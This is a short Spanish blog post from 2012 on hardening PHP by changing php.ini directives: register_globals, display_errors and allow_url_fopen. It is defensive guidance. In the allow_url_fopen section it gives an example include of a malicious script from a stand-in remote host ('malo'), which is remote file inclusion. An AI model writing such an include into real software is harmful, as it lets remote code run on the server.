miércoles, 21 de marzo de 2012

Hardening PHP

En este primer post les quiero compartir cómo realizar hardening a PHP.

PHP es un lenguaje de script que se ejecuta del lado del servidor como un módulo de Apache, que es una aplicación que nos sirve para implementar un servicio de HTTP.

El hardening es la técnica por la cual podemos robustecer la seguridad por medio de configuraciones ya sea un sistema operativo, una aplicación, una red, etc.

Esta ocación les hablaré de PHP.

En PHP existe un archivo de configuración  llamado php.ini, este archivo tiene toda la configuración con la que operará PHP, este archivo tiene directivas de configuración que modifican el comportamineto de PHP. En este caso nosotros modificarémos ese comportamiento para que sean más seguras nuestras páginas y podamos míticar un ataque como XSS, XST.

Las directivas a modificar serán las siguientes:

register_gloals=ON

debemos cambiar el valor por OFF
Para que se oblligue al programador a usar la variable (que es un arreglo) superglobal $_POST o $_GET para recoger los datos que lleguen de formularios o de la URL y que no sólo utilice el nombre de la variable por ejemplo $patitofeo y se obligue a usar $_POST[patitofeo] y así no se pueda modificar el valor en el envio del formulario al script PHP que procesará los datos enviados.

display_errors=ON
debemos cambiar el valor a OFF
Esto nos ayuda en un servidor de producción a que no se muestren los errores al usuario, porque un usuario malicioso podría utilizar esa información para atacar nuestra web. En un entorno de pruebas podemos dejar el valor en ON para que sea más fácil identificar los posibles bugs o errores.

allow_url_fopen=ON
debemos cambiar el valor a OFF
Esto nos ayuda a que no se pueda incluir o leer un script que este fuera de nuestro servidor, ya que este puede ser vulnerado, como por ejemplo al usar include("http://malo/scriptXSS.php"). En este ejemplo se incluye un script que está en una ubicación remota y que puede ser malicioso.